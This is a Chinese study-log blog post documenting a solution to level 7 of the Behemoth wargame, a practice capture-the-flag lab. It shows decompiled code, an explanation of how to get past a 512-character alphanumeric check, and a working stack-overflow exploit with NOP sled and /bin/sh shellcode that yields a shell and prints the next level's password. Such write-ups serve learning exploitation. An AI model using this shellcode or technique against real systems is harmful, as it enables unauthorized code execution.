170908 WarGames-Behemoth(7)

1625-5 王子昂 总结《2017年9月8日》 【连续第340天总结】
A. WarGames-Behemoth
B.

Level 7
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax@2
  int v5; // [sp+14h] [bp-20Ch]@13
  signed int v6; // [sp+214h] [bp-Ch]@4
  int i; // [sp+218h] [bp-8h]@1
  const char *v8; // [sp+21Ch] [bp-4h]@1

  v8 = argv[1];
  for ( i = 0; envp[i]; ++i )                   // 清空环境变量
  {
    v3 = strlen(envp[i]);
    memset((void *)envp[i], 0, v3);
  }
  v6 = 0;
  if ( argc > 1 )
  {
    while ( *v8 && v6 <= 511 )
    {
      ++v6;
      if ( !((*__ctype_b_loc())[*v8] & 0x400) && !((*__ctype_b_loc())[*v8] & 0x800) )
      {
        fprintf(_bss_start, "Non-%s chars found in string, possible shellcode!\n", "alpha");
        exit(1);
      }
      ++v8;
    }
    strcpy((char *)&v5, argv[1]);
  }
  return 0;
}

这次的关键点在__ctype_b_loc()上,从程序来看是个数组
百度没找到什么有用的结果,不过从回复提示来看应该是检测“Non-alpha”字符的;试着输入字母和数字没反应,下划线等符号则会被检测出来
payload大部分都是非可见字符,因此肯定不在alpha字符中

不过有一个漏洞,就是*v8 && v6 <=511
这就意味着该检测只处理前512个字符,因此只需要用合法字符填充,将payload放在之后即可
尝试构造512*’a’+’-‘可以通过,验证猜想无误

另外注意堆栈结构,IDA显示v5的位置为ebp-0x20c,即理论上来说堆栈应该为
524(v5及之后的局部变量)+4(ebp保存)+4(函数返回地址)
构造Shellcode在gdb中实验后发现:

(gdb) r python -c 'print "a"*524+"a"*4+"bbbb"+"\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'

Program received signal SIGSEGV, Segmentation fault.
0x2f2f6850 in ?? ()

说明中间有8个字节的偏移,应该就是见过很多次的编译器优化-寄存器指针对齐
在构造Shellcode的时候需要多加8个字符的偏移
然后就是找到地址,在gdb break main后查看堆栈,发现argv在0xffffd50a处附近
gdb getshell成功以后退出来在shell中运行发现地址不完全相同,加了100的Sled也不好使,一气之下直接搞了1000个字节,居然成了 简直暴力

behemoth7@behemoth:~$ /behemoth/behemoth7 python -c 'print "a"*524+"a"*8+"a"*4+"\xd8\xd5\xff\xff"+"\x90"*1000+"\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'
$ whoami
behemoth8
$ cat /etc/behemoth_pass/behemoth8
pheewij7Ae

Level 8

Congratz!!
Now fight for your right to eip=0x41414141!!

本关结束了,最后这个不明白是什么意思,也没查到相关的信息(:з」∠)

C. 明日计划
WarGames

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值